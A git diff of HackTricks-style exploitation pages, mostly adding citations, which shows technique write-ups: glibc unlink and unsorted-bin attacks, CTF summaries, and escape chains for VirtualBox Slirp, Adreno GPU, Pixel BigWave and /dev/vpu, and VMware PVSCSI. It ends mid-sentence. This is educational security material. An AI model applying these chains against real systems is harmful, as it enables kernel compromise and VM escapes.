Kapil)](https://heap-exploitation.dhavalkapil.com/attacks/unlink_exploit) +- [2] [how2heap – unsafe_unlink.c (glibc 2.39)](https://github.com/shellphish/how2heap/blob/master/glibc_2.39/unsafe_unlink.c) +- [3] [Dream Diary: Chapter 3 – Hack The Box (7rocky)](https://7rocky.github.io/en/ctf/htb-challenges/pwn/dream-diary-chapter-3/) - Although it would be weird to find a direct unlink attack in a CTF, here you have some writeups where this primitive or a very close variant was used: - - CTF example: [https://guyinatuxedo.github.io/30-unlink/hitcon14_stkof/index.html](https://guyinatuxedo.github.io/30-unlink/hitcon14_stkof/index.html) + - [4] CTF example: [Nightmare – hitcon14 stkof (guyinatuxedo)](https://guyinatuxedo.github.io/30-unlink/hitcon14_stkof/index.html) - In this example, instead of the stack there is an array of malloc'ed addresses. The unlink attack is performed to be able to allocate a chunk here, therefore being able to control the pointers of the array of malloc'ed addresses. Then, there is another functionality that allows to modify the content of chunks in these addresses, which allows to point addresses to the GOT, modify function addresses to get leaks and RCE. - - Another CTF example: [https://guyinatuxedo.github.io/30-unlink/zctf16_note2/index.html](https://guyinatuxedo.github.io/30-unlink/zctf16_note2/index.html) + - [5] Another CTF example: [Nightmare – zctf16 note2 (guyinatuxedo)](https://guyinatuxedo.github.io/30-unlink/zctf16_note2/index.html) - Just like in the previous example, there is an array of addresses of allocations. It's possible to perform an unlink attack to make the address to the first allocation point a few positions before starting the array and then overwrite this allocation in the new position. Therefore, it's possible to overwrite pointers of other allocations to point to the GOT of `atoi`, print it to get a libc leak, and then overwrite `atoi` GOT with the address of a one gadget. - - CTF example with custom malloc and free functions that abuse a vuln very similar to the unlink attack: [https://guyinatuxedo.github.io/33-custom_misc_heap/csaw17_minesweeper/index.html](https://guyinatuxedo.github.io/33-custom_misc_heap/csaw17_minesweeper/index.html) + - [6] CTF example with custom malloc and free functions that abuse a vuln very similar to the unlink attack: [Nightmare – csaw17 minesweeper (guyinatuxedo)](https://guyinatuxedo.github.io/33-custom_misc_heap/csaw17_minesweeper/index.html) - There is an overflow that allows controlling the `FD` and `BK` pointers of a custom malloc chunk that will be (custom) freed. Moreover, the heap has the exec bit, so it's possible to leak a heap address and point a function from the GOT to a heap chunk with shellcode to execute. {{#include ../../banners/hacktricks-training.md}} diff --git a/src/binary-exploitation/libc-heap/unsorted-bin-attack.md b/src/binary-exploitation/libc-heap/unsorted-bin-attack.md index 14263c11cd5..fcea61e45e8 100644 --- a/src/binary-exploitation/libc-heap/unsorted-bin-attack.md +++ b/src/binary-exploitation/libc-heap/unsorted-bin-attack.md @@ -27,7 +27,7 @@ So, basically, this attack allows to **set a big number at an arbitrary address* > > Note that overwriting **`global_max_fast`** might help in this case trusting that the fast bin will be able to take care of all the other allocations until the exploit is completed. -The code from [**guyinatuxedo**](https://guyinatuxedo.github.io/31-unsortedbin_attack/unsorted_explanation/index.html) explains it very well, although if you modify the mallocs to allocate memory big enough so don't end in a Tcache you can see that the previously mentioned error appears preventing this technique: **`malloc(): unsorted double linked list corrupted`** +The code from [**guyinatuxedo**](https://guyinatuxedo.github.io/31-unsortedbin_attack/unsorted_explanation/index.html) explains it very well, although if you modify the mallocs to allocate memory big enough so don't end in a Tcache you can see that the previously mentioned error appears preventing this technique: **`malloc(): unsorted double linked list corrupted`**[[6]](#references) ### How the write actually happens @@ -45,14 +45,14 @@ To use unsorted‑bin writes reliably on current glibc: - fill the corresponding tcache bin (7 entries) so that additional frees reach the global bins, or - if the environment is controllable, disable tcache (e.g., GLIBC_TUNABLES glibc.malloc.tcache_count=0). - Integrity checks on the unsorted list: on the next allocation path that examines the unsorted bin, glibc checks (simplified): - - `bck->fd == victim` and `victim->fd == unsorted_chunks(av)`; otherwise it aborts with `malloc(): unsorted double linked list corrupted`. + - `bck->fd == victim` and `victim->fd == unsorted_chunks(av)`; otherwise it aborts with `malloc(): unsorted double linked list corrupted`.[[4]](#references) - This means the address you target must tolerate two writes: first `*(TARGET) = victim` at free‑time; later, as the chunk is removed, `*(TARGET) = unsorted_chunks(av)` (the allocator rewrites `bck->fd` back to the bin head). Choose targets where simply forcing a large non‑zero value is useful. - Typical stable targets in modern exploits - Application or global state that treats "large" values as flags/limits. - Indirect primitives (e.g., set up for a subsequent [fast bin attack]({{#ref}}fast-bin-attack.md{{#endref}}) or to pivot a later write‐what‐where). - Avoid `__malloc_hook`/`__free_hook` on new glibc: they were removed in 2.34. Avoid `global_max_fast` on ≥ 2.39 (see next note). - About `global_max_fast` on recent glibc - - On glibc 2.39+, `global_max_fast` is an 8‑bit global. The classic trick of writing a heap pointer into it (to enlarge fastbins) no longer works cleanly and is likely to corrupt adjacent allocator state. Prefer other strategies. + - On glibc 2.39+, `global_max_fast` is an 8‑bit global. The classic trick of writing a heap pointer into it (to enlarge fastbins) no longer works cleanly and is likely to corrupt adjacent allocator state. Prefer other strategies.[[5]](#references) ## Minimal exploitation recipe (modern glibc) @@ -91,17 +91,17 @@ This is actually a very basic concept. The chunks in the unsorted bin are going Therefore, if you can **put a chunk inside a unsorted bin and read it** (use after free) or **allocate it again without overwriting at least 1 of the pointers** to then **read** it, you can have a **Glibc info leak**. A similar [**attack used in this writeup**](https://guyinatuxedo.github.io/33-custom_misc_heap/csaw18_alienVSsamurai/index.html), was to abuse a 4 chunks structure (A, B, C and D - D is only to prevent consolidation with top chunk) so a null byte overflow in B was used to make C indicate that B was unused. Also, in B the `prev_size` data was modified so the size instead of being the size of B was A+B.\ -Then C was deallocated, and consolidated with A+B (but B was still in used). A new chunk of size A was allocated and then the libc leaked addresses was written into B from where they were leaked. +Then C was deallocated, and consolidated with A+B (but B was still in used). A new chunk of size A was allocated and then the libc leaked addresses was written into B from where they were leaked.[[7]](#references) -## References & Other examples +## References -- [**https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/unsorted_bin_attack/#hitcon-training-lab14-magic-heap**](https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/unsorted_bin_attack/#hitcon-training-lab14-magic-heap) +- [1] [CTF-wiki - Unsorted Bin Attack (HITCON training lab14 magic heap)](https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/unsorted_bin_attack/#hitcon-training-lab14-magic-heap) - The goal is to overwrite a global variable with a value greater than 4869 so it's possible to get the flag and PIE is not enabled. - It's possible to generate chunks of arbitrary sizes and there is a heap overflow with the desired size. - The attack starts creating 3 chunks: chunk0 to abuse the overflow, chunk1 to be overflowed and chunk2 so top chunk doesn't consolidate the previous ones. - Then, chunk1 is freed and chunk0 is overflowed to the `bk` pointer of chunk1 points to: `bk = magic - 0x10` - Then, chunk3 is allocated with the same size as chunk1, which will trigger the unsorted bin attack and will modify the value of the global variable, making possible to get the flag. -- [**https://guyinatuxedo.github.io/31-unsortedbin_attack/0ctf16_zerostorage/index.html**](https://guyinatuxedo.github.io/31-unsortedbin_attack/0ctf16_zerostorage/index.html) +- [2] [guyinatuxedo - 0ctf16 zerostorage (unsorted bin attack)](https://guyinatuxedo.github.io/31-unsortedbin_attack/0ctf16_zerostorage/index.html) - The merge function is vulnerable because if both indexes passed are the same one it'll realloc on it and then free it but returning a pointer to that freed region that can be used. - Therefore, **2 chunks are created**: **chunk0** which will be merged with itself and chunk1 to prevent consolidating with the top chunk. Then, the **merge function is called with chunk0** twice which will cause a use after free. - Then, the **`view`** function is called with index 2 (which the index of the use after free chunk), which will **leak a libc address**. @@ -124,15 +124,13 @@ Then C was deallocated, and consolidated with A+B (but B was still in used). A n - And finally a chunk containing the string `/bin/sh\x00` is freed calling the delete function, triggering the **`__free_hook`** function which points to system with `/bin/sh\x00` as parameter. - **CTF** [**https://guyinatuxedo.github.io/33-custom_misc_heap/csaw19_traveller/index.html**](https://guyinatuxedo.github.io/33-custom_misc_heap/csaw19_traveller/index.html) - Another example of abusing a 1B overflow to consolidate chunks in the unsorted bin and get a libc infoleak and then perform a fast bin attack to overwrite malloc hook with a one gadget address -- [**Robot Factory. BlackHat MEA CTF 2022**](https://7rocky.github.io/en/ctf/other/blackhat-ctf/robot-factory/) +- [3] [Robot Factory. BlackHat MEA CTF 2022](https://7rocky.github.io/en/ctf/other/blackhat-ctf/robot-factory/) - We can only allocate chunks of size greater than `0x100`. - Overwrite `global_max_fast` using an Unsorted Bin attack (works 1/16 times due to ASLR, because we need to modify 12 bits, but we must modify 16 bits). - Fast Bin attack to modify the a global array of chunks. This gives an arbitrary read/write primitive, which allows to modify the GOT and set some function to point to `system`. +- [4] [Glibc 2.33 malloc.c source (unsorted-bin integrity checks)](https://elixir.bootlin.com/glibc/glibc-2.33/source/malloc/malloc.c) +- [5] [Glibc 2.39 malloc.c source (global_max_fast)](https://elixir.bootlin.com/glibc/glibc-2.39/source/malloc/malloc.c) +- [6] [guyinatuxedo - Unsorted Bin Attack explanation](https://guyinatuxedo.github.io/31-unsortedbin_attack/unsorted_explanation/index.html) +- [7] [guyinatuxedo - csaw18 alienVSsamurai (unsorted bin infoleak)](https://guyinatuxedo.github.io/33-custom_misc_heap/csaw18_alienVSsamurai/index.html) - - -## References - -- Glibc malloc unsorted-bin integrity checks (example in 2.33 source): https://elixir.bootlin.com/glibc/glibc-2.33/source/malloc/malloc.c -- `global_max_fast` and related definitions in modern glibc (2.39): https://elixir.bootlin.com/glibc/glibc-2.39/source/malloc/malloc.c {{#include ../../banners/hacktricks-training.md}} diff --git a/src/binary-exploitation/libc-heap/virtualbox-slirp-nat-packet-heap-exploitation.md b/src/binary-exploitation/libc-heap/virtualbox-slirp-nat-packet-heap-exploitation.md index ea479ed7e28..4745fd1d658 100644 --- a/src/binary-exploitation/libc-heap/virtualbox-slirp-nat-packet-heap-exploitation.md +++ b/src/binary-exploitation/libc-heap/virtualbox-slirp-nat-packet-heap-exploitation.md @@ -28,7 +28,7 @@ When an mbuf is freed the call stack `m_freem -> ... -> slirp_uma_free()` trusts 1. `uma_zfree_arg()` recomputes `item = (struct item *)mem - 1` and *should* validate `item->zone`, but `Assert()` is compiled out in release builds. 2. `slirp_uma_free()` loads `zone = item->zone` and unconditionally executes `zone->pfFini(zone->pData, data_ptr, zone->size)` followed by `zone->pfDtor(...)`. -Therefore, any write-what-where into the mbuf header translates into a controlled indirect call during `free()`. +Therefore, any write-what-where into the mbuf header translates into a controlled indirect call during `free()`.[[1]](#references) ## Infoleak via `m->m_len` override @@ -41,7 +41,7 @@ if (m->m_len != RT_N2H_U16(ip->ip_len)) Because the assignment happens **before** verifying the IP header, a guest can advertise any length up to 0xffff. The rest of the stack (ICMP, UDP, fragmentation handlers, etc.) assumes `m->m_len` is trustworthy and uses it to decide how many bytes to copy off the mbuf. -Use UDP packets with checksum `0` (meaning "no checksum"). The NAT fast-path forwards `m->m_len` bytes without inspecting payload integrity, so inflating `ip_len` causes Slirp to read past the real buffer and return heap residues to the guest or to a cooperating external helper beyond the NAT. Because the chunk size is 2048 bytes, the leak can include: +Use UDP packets with checksum `0` (meaning "no checksum"). The NAT fast-path forwards `m->m_len` bytes without inspecting payload integrity, so inflating `ip_len` causes Slirp to read past the real buffer and return heap residues to the guest or to a cooperating external helper beyond the NAT.[[1]](#references) Because the chunk size is 2048 bytes, the leak can include: - The next mbuf's inline `struct item`, revealing the freelist order and the real `zone` pointer. - Heap cookies such as `magic` fields, helping to craft valid-looking headers when performing corruptions later. @@ -54,7 +54,7 @@ The same bogus length can be turned into an overwrite primitive by forcing the p 2. Include a small number of IP options so Slirp enters the stripping path. 3. When `memcpy()` runs, it reads from the following mbuf and writes over the current mbuf's payload and inline header, corrupting `magic`, `zone`, `ref_count`, etc. -Because the allocator keeps packets from the same interface contiguous on the freelist, this overflow deterministically hits the next chunk after modest heap grooming. +Because the allocator keeps packets from the same interface contiguous on the freelist, this overflow deterministically hits the next chunk after modest heap grooming.[[1]](#references) ## Forging `uma_zone_t` to hijack `pfFini` @@ -68,7 +68,7 @@ Once the adjacent `struct item` is corruptible, the exploit proceeds as follows: 2. Overwrite the target mbuf's `zone` field with the pointer to the fake structure; adjust `list` pointers so freelist bookkeeping remains consistent enough to avoid crashes. 3. Free the mbuf. `slirp_uma_free()` now executes `memcpy(dest=pData, src=item_data, n=size)` while the mbuf still contains guest-controlled data, yielding an arbitrary write. -Because the Linux VirtualBox binary is non-PIE, PLT addresses for `memcpy` and `system` are fixed and can be used directly. The guest can also stash strings such as `/bin/sh` inside another mbuf that remains referenced when the hijacked call executes. +Because the Linux VirtualBox binary is non-PIE, PLT addresses for `memcpy` and `system` are fixed and can be used directly. The guest can also stash strings such as `/bin/sh` inside another mbuf that remains referenced when the hijacked call executes.[[1]](#references) ## Heap grooming via fragmentation @@ -78,7 +78,7 @@ Slirp's per-interface zone is 3072 chunks deep and initially carved as a contigu - Recycling specific chunks by sending fragments that time out, forcing frees back into the freelist in LIFO order. - Using knowledge of the freelist walk to place the future victim mbuf right after the mbuf that will carry the IP options overflow. -This grooming ensures the overflow hits the targeted `struct item` and that the fake `uma_zone` remains in-bounds of the leak primitive. +This grooming ensures the overflow hits the targeted `struct item` and that the fake `uma_zone` remains in-bounds of the leak primitive.[[1]](#references) ## From arbitrary write to host code execution @@ -86,12 +86,12 @@ With the memcpy-on-free primitive: 1. Copy an attacker-controlled `/bin/sh` string and command buffer into a stable mbuf. 2. Use the primitive to overwrite a GOT entry or indirect callsite (e.g. a function pointer inside the NAT device state) with the PLT entry of `system()`. -3. Trigger the overwritten call. Because VirtualBox runs the NAT device inside the host process, the payload executes with the privileges of the user running VirtualBox, allowing a guest-to-host escape. +3. Trigger the overwritten call. Because VirtualBox runs the NAT device inside the host process, the payload executes with the privileges of the user running VirtualBox, allowing a guest-to-host escape.[[1]](#references) Alternative payloads include planting a miniature ROP chain in heap memory and copying its address into a frequently-invoked callback, or repointing `pfFini`/`pfDtor` themselves to chained gadgets for repeated writes. ## References -- [Thinking Outside The Box: Exploiting VirtualBox Slirp NAT Heap Corruption](https://projectzero.google/2025/12/thinking-outside-the-box.html) +- [1] [Thinking Outside The Box: Exploiting VirtualBox Slirp NAT Heap Corruption](https://projectzero.google/2025/12/thinking-outside-the-box.html) {{#include ../../banners/hacktricks-training.md}} diff --git a/src/binary-exploitation/linux-kernel-exploitation/adreno-a7xx-sds-rb-priv-bypass-gpu-smmu-kernel-rw.md b/src/binary-exploitation/linux-kernel-exploitation/adreno-a7xx-sds-rb-priv-bypass-gpu-smmu-kernel-rw.md index 0be7b29cdff..543698e0937 100644 --- a/src/binary-exploitation/linux-kernel-exploitation/adreno-a7xx-sds-rb-priv-bypass-gpu-smmu-kernel-rw.md +++ b/src/binary-exploitation/linux-kernel-exploitation/adreno-a7xx-sds-rb-priv-bypass-gpu-smmu-kernel-rw.md @@ -2,7 +2,7 @@ {{#include ../../banners/hacktricks-training.md}} -This page abstracts an in-the-wild Adreno A7xx microcode logic bug (CVE-2025-21479) into reproducible exploitation techniques: abusing IB-level masking in Set Draw State (SDS) to execute privileged GPU packets from an unprivileged app, pivoting to GPU SMMU takeover and then to a fast, stable kernel R/W via a dirty-pagetable trick. +This page abstracts an in-the-wild Adreno A7xx microcode logic bug (CVE-2025-21479) into reproducible exploitation techniques: abusing IB-level masking in Set Draw State (SDS) to execute privileged GPU packets from an unprivileged app, pivoting to GPU SMMU takeover and then to a fast, stable kernel R/W via a dirty-pagetable trick.[[1]](#references) - Affected: Qualcomm Adreno A7xx GPU firmware prior to a microcode fix that changed masking of register $12 from 0x3 to 0x7. - Primitive: Execute privileged CP packets (e.g., CP_SMMU_TABLE_UPDATE) from SDS, which is user-controlled. @@ -16,7 +16,7 @@ This page abstracts an in-the-wild Adreno A7xx microcode logic bug (CVE-2025-214 - A6xx: SDS is treated as IB3 - A7xx: SDS moved to IB4 - Microcode tracks the current IB level in register $12 and gates privileged packets so they are only accepted when the effective level corresponds to IB0 (kernel RB). -- Bug: A7xx microcode kept masking $12 with 0x3 (2 bits) instead of 0x7 (3 bits). Since IB4 & 0x3 == 0, SDS was misidentified as IB0, allowing privileged packets from user-controlled SDS. +- Bug: A7xx microcode kept masking $12 with 0x3 (2 bits) instead of 0x7 (3 bits). Since IB4 & 0x3 == 0, SDS was misidentified as IB0, allowing privileged packets from user-controlled SDS.[[1]](#references) Why it matters: @@ -42,7 +42,7 @@ Microcode diff example (patch switched the mask to 0x7): ## Exploitation overview -Goal: From SDS (misread as IB0) issue privileged CP packets to re-point the GPU SMMU to attacker-crafted page tables, then use GPU copy/write packets for arbitrary physical R/W. Finally, pivot to a fast CPU-side R/W via dirty pagetable. +Goal: From SDS (misread as IB0) issue privileged CP packets to re-point the GPU SMMU to attacker-crafted page tables, then use GPU copy/write packets for arbitrary physical R/W.[[1]](#references)[[3]](#references) Finally, pivot to a fast CPU-side R/W via dirty pagetable. High-level chain - Craft a fake GPU pagetable in shared memory @@ -67,11 +67,11 @@ Notes 2) One or more CP_MEM_WRITE and/or CP_MEM_TO_MEM packets to implement R/W using your new translations 3) CP_SET_DRAW_STATE with flags to run-now -The exact packet encodings vary by firmware; use freedreno’s afuc/packet docs to assemble the words, and ensure the SDS submission path is taken by the driver. +The exact packet encodings vary by firmware; use freedreno’s afuc/packet docs to assemble the words, and ensure the SDS submission path is taken by the driver.[[2]](#references) ## Finding Samsung kernel physbase under physical KASLR -Samsung randomizes the kernel physical base within a known region on Snapdragon devices. Brute-force the expected range and look for the first 16 bytes of _stext. +Samsung randomizes the kernel physical base within a known region on Snapdragon devices. Brute-force the expected range and look for the first 16 bytes of _stext.[[1]](#references) Representative loop @@ -96,7 +96,7 @@ _stext = 0xffffffc008000000 + (Kernel Code & ~0xa8000000) ## Stabilizing to fast, reliable CPU-side kernel R/W (dirty pagetable) -GPU R/W is slow and small-granularity. Pivot to a fast/stable primitive by corrupting your own process PTEs (“dirty pagetable”): +GPU R/W is slow and small-granularity. Pivot to a fast/stable primitive by corrupting your own process PTEs (“dirty pagetable”):[[4]](#references) Steps - Locate current task_struct -> mm_struct -> mm_struct->pgd using the slow GPU R/W primitives @@ -147,9 +147,9 @@ pixel-bigwave-bigo-job-timeout-uaf-kernel-write.md ## References -- [CVE-2025-21479: Adreno A7xx SDS->RB privilege bypass to kernel R/W (Samsung S23)](https://xploitbengineer.github.io/CVE-2025-21479) -- [Mesa freedreno afuc disassembler README (microcode + packets)](https://gitlab.freedesktop.org/mesa/mesa/-/blob/c0f56fc64cad946d5c4fda509ef3056994c183d9/src/freedreno/afuc/README.rst) -- [Google Project Zero: Attacking Qualcomm Adreno GPU (SMMU takeover via CP packets)](https://googleprojectzero.blogspot.com/2020/09/attacking-qualcomm-adreno-gpu.html) -- [Dirty pagetable (archive)](https://web.archive.org/web/20240425043203/https://yanglingxi1993.github.io/dirty_pagetable/dirty_pagetable.html) +- [1] [CVE-2025-21479: Adreno A7xx SDS->RB privilege bypass to kernel R/W (Samsung S23)](https://xploitbengineer.github.io/CVE-2025-21479) +- [2] [Mesa freedreno afuc disassembler README (microcode + packets)](https://gitlab.freedesktop.org/mesa/mesa/-/blob/c0f56fc64cad946d5c4fda509ef3056994c183d9/src/freedreno/afuc/README.rst) +- [3] [Google Project Zero: Attacking Qualcomm Adreno GPU (SMMU takeover via CP packets)](https://googleprojectzero.blogspot.com/2020/09/attacking-qualcomm-adreno-gpu.html) +- [4] [Dirty pagetable (archive)](https://web.archive.org/web/20240425043203/https://yanglingxi1993.github.io/dirty_pagetable/dirty_pagetable.html) {{#include ../../banners/hacktricks-training.md}} diff --git a/src/binary-exploitation/linux-kernel-exploitation/pixel-bigwave-bigo-job-timeout-uaf-kernel-write.md b/src/binary-exploitation/linux-kernel-exploitation/pixel-bigwave-bigo-job-timeout-uaf-kernel-write.md index d138be8cb2c..1fe74ed7794 100644 --- a/src/binary-exploitation/linux-kernel-exploitation/pixel-bigwave-bigo-job-timeout-uaf-kernel-write.md +++ b/src/binary-exploitation/linux-kernel-exploitation/pixel-bigwave-bigo-job-timeout-uaf-kernel-write.md @@ -6,12 +6,12 @@ - From the SELinux-confined **mediacodec** context, `/dev/bigwave` (Pixel AV1 hardware accelerator) is reachable. A backlog of jobs makes `BIGO_IOCX_PROCESS` hit its **16s wait_for_completion_timeout()** and return while the worker thread concurrently dequeues the same inline `job` structure. - Closing the FD immediately frees `struct bigo_inst` (which embeds `struct bigo_job`). The worker reconstructs `inst = container_of(job, ...)` and later uses freed fields such as **`job->regs`** inside `bigo_run_job()`, yielding a **Use-After-Free on the inline job/inst**. -- `bigo_pull_regs(core, job->regs)` performs `memcpy_fromio(regs, core->base, core->regs_size)`. By reclaiming the freed slab and overwriting `job->regs`, an attacker gets a **~2144-byte arbitrary kernel write** to a chosen address, with partial control of the bytes by pre-programming register values before the timeout. -- Tracked as **CVE-2025-36934**; fixed in the **2026-01-05 Pixel/2025-12-01 ASB** builds. +- `bigo_pull_regs(core, job->regs)` performs `memcpy_fromio(regs, core->base, core->regs_size)`. By reclaiming the freed slab and overwriting `job->regs`, an attacker gets a **~2144-byte arbitrary kernel write** to a chosen address, with partial control of the bytes by pre-programming register values before the timeout.[[1]](#references) +- Tracked as **CVE-2025-36934**; fixed in the **2026-01-05 Pixel/2025-12-01 ASB** builds.[[3]](#references) ## Attack surface mapping (SELinux → /dev reachability) -- Use tools like **DriverCartographer** to enumerate device nodes accessible from a given SELinux domain. Despite mediacodec’s constrained policy (software decoders should stay in an isolated context), `/dev/bigwave` remained reachable, exposing a large attack surface to post-media-RCE code. +- Use tools like **DriverCartographer** to enumerate device nodes accessible from a given SELinux domain. Despite mediacodec’s constrained policy (software decoders should stay in an isolated context), `/dev/bigwave` remained reachable, exposing a large attack surface to post-media-RCE code.[[1]](#references) ## Vulnerability: BIGO_IOCX_PROCESS timeout vs worker @@ -26,7 +26,7 @@ bigo_pull_regs(core, job->regs); // memcpy_fromio(regs, core->base, core->regs *(u32 *)(job->regs + BIGO_REG_STAT) = status; ``` -- If userspace closes the FD after the timeout, `inst`/`job` are freed while the worker keeps using them → UAF. No synchronization ties FD lifetime to the worker thread’s job pointer. +- If userspace closes the FD after the timeout, `inst`/`job` are freed while the worker keeps using them → UAF. No synchronization ties FD lifetime to the worker thread’s job pointer.[[1]](#references)[[2]](#references) ## Exploitation outline @@ -34,7 +34,7 @@ bigo_pull_regs(core, job->regs); // memcpy_fromio(regs, core->base, core->regs 2. **Free while in use:** As soon as ioctl returns, `close(fd)` to free `inst`/`job` while the worker is still running the dequeued job. 3. **Reclaim + pointer control:** Spray reclaimers (e.g., **Unix domain socket message** allocations) to occupy the freed slab slot and overwrite the inline `job`, especially `job->regs`. 4. **Arbitrary write:** When `bigo_pull_regs()` runs, `memcpy_fromio()` writes **core->regs_size (~2144 bytes)** from MMIO into the attacker-supplied address in `job->regs`, producing a large write-what-where without a KASLR leak. -5. **Data shaping:** Because registers are first programmed from user data (`bigo_push_regs`), set them so the hardware does not execute, keeping the copied-back register image close to attacker-controlled bytes. +5. **Data shaping:** Because registers are first programmed from user data (`bigo_push_regs`), set them so the hardware does not execute, keeping the copied-back register image close to attacker-controlled bytes.[[1]](#references) ### Minimal PoC skeleton (blocking backlog + reclaim) @@ -54,7 +54,7 @@ sleep(1); // let worker memcpy_fr ## Related successor primitive on Pixel 10: unbounded `/dev/vpu` `mmap()` → physical-memory R/W -Project Zero's Pixel 10 follow-up replaced BigWave with another **mediacodec-reachable** driver: `/dev/vpu` for the **Chips&Media Wave677DV** decoder. The bug class is even shallower: the driver intends to expose only the VPU MMIO CSR window, but its `mmap` handler trusts the attacker-controlled VMA length. +Project Zero's Pixel 10 follow-up replaced BigWave with another **mediacodec-reachable** driver: `/dev/vpu` for the **Chips&Media Wave677DV** decoder. The bug class is even shallower: the driver intends to expose only the VPU MMIO CSR window, but its `mmap` handler trusts the attacker-controlled VMA length.[[4]](#references) ```c static int vpu_mmap(struct file *fp, struct vm_area_struct *vm) @@ -73,7 +73,7 @@ static int vpu_mmap(struct file *fp, struct vm_area_struct *vm) - The mapped length is **`vm->vm_end - vm->vm_start`**, i.e. the user-requested `mmap()` size. - There is **no check** that the requested size is bounded by the real MMIO resource length. -Therefore, if `/dev/vpu` is reachable from a compromised app/service domain, a large `mmap()` does not stop at the register window: it keeps mapping the **contiguous physical pages after the VPU MMIO range** into userspace. +Therefore, if `/dev/vpu` is reachable from a compromised app/service domain, a large `mmap()` does not stop at the register window: it keeps mapping the **contiguous physical pages after the VPU MMIO range** into userspace.[[4]](#references)[[5]](#references) ### Exploitation model @@ -100,7 +100,7 @@ uint8_t *kbase = (uint8_t *)map + (KERNEL_PHYS_BASE - VPU_PHYS_BASE); arm64-static-linear-map-kaslr-bypass.md {{#endref}} -- Compared with the earlier BigWave UAF, this bug skips heap feng shui almost entirely: once the oversized mapping succeeds, the attacker gets **direct userspace access to kernel physical memory**. +- Compared with the earlier BigWave UAF, this bug skips heap feng shui almost entirely: once the oversized mapping succeeds, the attacker gets **direct userspace access to kernel physical memory**.[[4]](#references) - Review pattern: any driver that exposes MMIO via `remap_pfn_range()` must clamp `requested_len <= resource_size`, align offsets carefully, and reject arbitrary expansion beyond the device BAR/resource. ## Takeaways for driver reviewers @@ -110,10 +110,10 @@ arm64-static-linear-map-kaslr-bypass.md ## References -- [Pixel 0-click (Part 2): Escaping the mediacodec sandbox via the BigWave driver](https://projectzero.google/2026/01/pixel-0-click-part-2.html) -- [Project Zero issue 426567975 – BigWave BIGO timeout UAF](https://project-zero.issues.chromium.org/issues/426567975) -- [CVE-2025-36934 entry (BigWave driver)](https://www.cybersecurity-help.cz/vulnerabilities/119071/) -- [Project Zero – Pixel 10 Zero-Click-to-Root: Dolby CVE-2025-54957 and /dev/vpu Kernel mmap Privilege Escalation](https://projectzero.google/2026/05/pixel-10-exploit.html) -- [Project Zero issue 463438263 – /dev/vpu unbounded mmap](https://project-zero.issues.chromium.org/issues/463438263) +- [1] [Pixel 0-click (Part 2): Escaping the mediacodec sandbox via the BigWave driver](https://projectzero.google/2026/01/pixel-0-click-part-2.html) +- [2] [Project Zero issue 426567975 – BigWave BIGO timeout UAF](https://project-zero.issues.chromium.org/issues/426567975) +- [3] [CVE-2025-36934 entry (BigWave driver)](https://www.cybersecurity-help.cz/vulnerabilities/119071/) +- [4] [Project Zero – Pixel 10 Zero-Click-to-Root: Dolby CVE-2025-54957 and /dev/vpu Kernel mmap Privilege Escalation](https://projectzero.google/2026/05/pixel-10-exploit.html) +- [5] [Project Zero issue 463438263 – /dev/vpu unbounded mmap](https://project-zero.issues.chromium.org/issues/463438263) {{#include ../../banners/hacktricks-training.md}} diff --git a/src/binary-exploitation/vmware-workstation-pvscsi-lfh-escape.md b/src/binary-exploitation/vmware-workstation-pvscsi-lfh-escape.md index 4a066434c68..adf5531033a 100644 --- a/src/binary-exploitation/vmware-workstation-pvscsi-lfh-escape.md +++ b/src/binary-exploitation/vmware-workstation-pvscsi-lfh-escape.md @@ -2,17 +2,17 @@ {{#include ../banners/hacktricks-training.md}} -This is the public **Workstation-on-Windows 11** variant of **CVE-2025-41238**. Broadcom later fixed it in **Workstation 17.6.4** and **Fusion 13.6.4**; Broadcom also notes that on **ESXi** the same PVSCSI bug is normally contained by the **VMX sandbox**, except in unsupported configurations. +This is the public **Workstation-on-Windows 11** variant of **CVE-2025-41238**. Broadcom later fixed it in **Workstation 17.6.4** and **Fusion 13.6.4**; Broadcom also notes that on **ESXi** the same PVSCSI bug is normally contained by the **VMX sandbox**, except in unsupported configurations.[[1]](#references)[[2]](#references) ## Bug anatomy: fixed-size realloc + scattered OOB writes -- `PVSCSI_FillSGI` copies guest scatter/gather entries into an internal array. It starts with a 512-entry static buffer (0x2000). Above 512 entries it reallocates to **0x4000** bytes and, because of a functional bug, **reallocates on every iteration**. +- `PVSCSI_FillSGI` copies guest scatter/gather entries into an internal array. It starts with a 512-entry static buffer (0x2000). Above 512 entries it reallocates to **0x4000** bytes and, because of a functional bug, **reallocates on every iteration**.[[1]](#references) - The reallocation size never grows: 0x4000 / 0x10-byte entries = **1024 usable entries**. When the guest supplies **>1024 entries**, each new entry is written **16 bytes past the freshly allocated 0x4000 chunk**, corrupting the adjacent chunk header or object. - Overflow content: VMware stores `{u64 addr; u64 len}`; guest provides `{u64 addr; u32 len; u32 flags}`. The 32-bit `len` is **zero-extended**, so the last dword of every 16-byte OOB element is **always 0x00000000**. ## Guest-controlled host objects used by the chain -- The public exploit assumes a **Linux guest**: the `vmw_pvscsi` driver exposes attacker-controlled `PVSCSISGElement` arrays, while the default **UHCI** controller gives a FIFO URB queue plus the `reap` primitive. +- The public exploit assumes a **Linux guest**: the `vmw_pvscsi` driver exposes attacker-controlled `PVSCSISGElement` arrays, while the default **UHCI** controller gives a FIFO URB queue plus the `reap` primitive.[[1]](#references) - **PVSCSI** is only the corruption source: guest S/G entries trigger the 0x4000 realloc loop and the scattered 16-byte OOB writes. - **SVGA shaders** are the heap shapers: they can be sprayed in large quantities, pinned by handle, freed selectively, and immediately reclaimed with placeholder objects. - **UHCI URBs** are the durable victims/oracles: they remain alive until fully reaped and expose `actual_len`, `data_ptr`, `pipe`, and list links that turn a partial overwrite into leak / read / write / call primitives. @@ -20,7 +20,7 @@ This is the public **Workstation-on-Windows 11** variant of **CVE-2025-41238**. ## LFH constraints & deterministic "Ping-Pong" placement -- 0x4000 allocations land in the **Windows 11 LFH** (16 chunks/bucket, 0x10-byte metadata with keyed checksum). Any chunk whose header checksum is hit later will terminate the process, so corrupted headers must never be reused. +- 0x4000 allocations land in the **Windows 11 LFH** (16 chunks/bucket, 0x10-byte metadata with keyed checksum). Any chunk whose header checksum is hit later will terminate the process, so corrupted headers must never be reused.[[1]](#references) - LFH returns a random free chunk, but **prefers the bucket containing the most recently freed chunk**. Force two free slots only: 1. Allocate all free 0x4000 chunks to align the allocator; spray **32 SVGA shaders** to fill **B1** and **B2** buckets. 2. Free B1 